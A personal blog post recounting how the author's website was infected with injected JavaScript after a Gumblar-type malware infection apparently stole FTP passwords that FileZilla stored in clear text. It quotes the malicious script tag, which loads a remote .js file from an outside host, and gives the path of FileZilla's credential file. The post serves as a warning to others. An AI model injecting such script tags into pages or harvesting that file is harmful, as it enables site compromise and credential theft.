I love filezilla, but what happened this month will make me to rethink if I need another ftp program. I am using filezilla 3.1.3.1 client on my PC. Suddenly one good day when I tried to access one of my website,Firefox gave warning as "Reported attack page". When you see this type of issue with your webpage your heartbeat increases.It means youe Web server is hacked!!
I used wget tool to download default page of the concerned web SITE.Found page was infected with 2 identical pieces of javascript code.One at the top of the page other at the bottom.
<script type="text/javascript" src="http://iopap.1upperdarby26.com/Backup.js" type="text/javascript">
<!--6bacf8b35cab0f596815865b2df682fa-->
I logged into my server and found index.php page was infected. I cleaned it. But no luck, on client side still there were malicious javascript code.I searched in that virtual directory.And found all index.html, index.php and .js (Javascript) file had it.My intial thought was that probably that hacker might have exploited security hole in Xoops.I was using open source CMS xoops on that website and haven't updated the installation for nearly couple of years.My assumption was they might have used backdoor script for the attack.
I started looking into logs.First I tried to figure out from access log.No luck.Then what I saw big ftp log files in log directory. When I opened it I was amazed,I didn't log using ftp in last few month.But ftp log was showing files being uploaded from numerous different IP addresses.As I have not used ftp for last many month I didn't thought my desktop might be culprit (when you are running antivirus with updated you assume you are safe,huh).I contacted my hosting provider and informed them that probably the box is being exploited and compromised at their end.After a few mail exchange what I found was beyond my imagination.
My desktop was infected with a variant of
Gumlar.
Possibly my antivirus couldn't catch a pdf security hole and password was stolen from FILEZILLA. Filezilla makes hacker life easy.It saves ftp site configuration in xml and password in clear text.I wish I would have known it before.I would have not bothered to save password in filezilla then. Apparently Filezilla has
no plan to encrypt the password.
This is unbelievable.I agree our antivirus should catch these stuff but why make hacker's life easy. In my opinion password saved in filezilla should be encrypted.Or atleast they should warn user when one try to save password in Filezilla.If you want to know which file is used to save password it is C:\Documents and Settings\<username>\Application Data\FileZilla\sitemanager.xml .Where <username > is your windows user name.
So lesson is never save password in Filezilla or probably look for other alternatives.
Filezilla, Hacked, Open Source
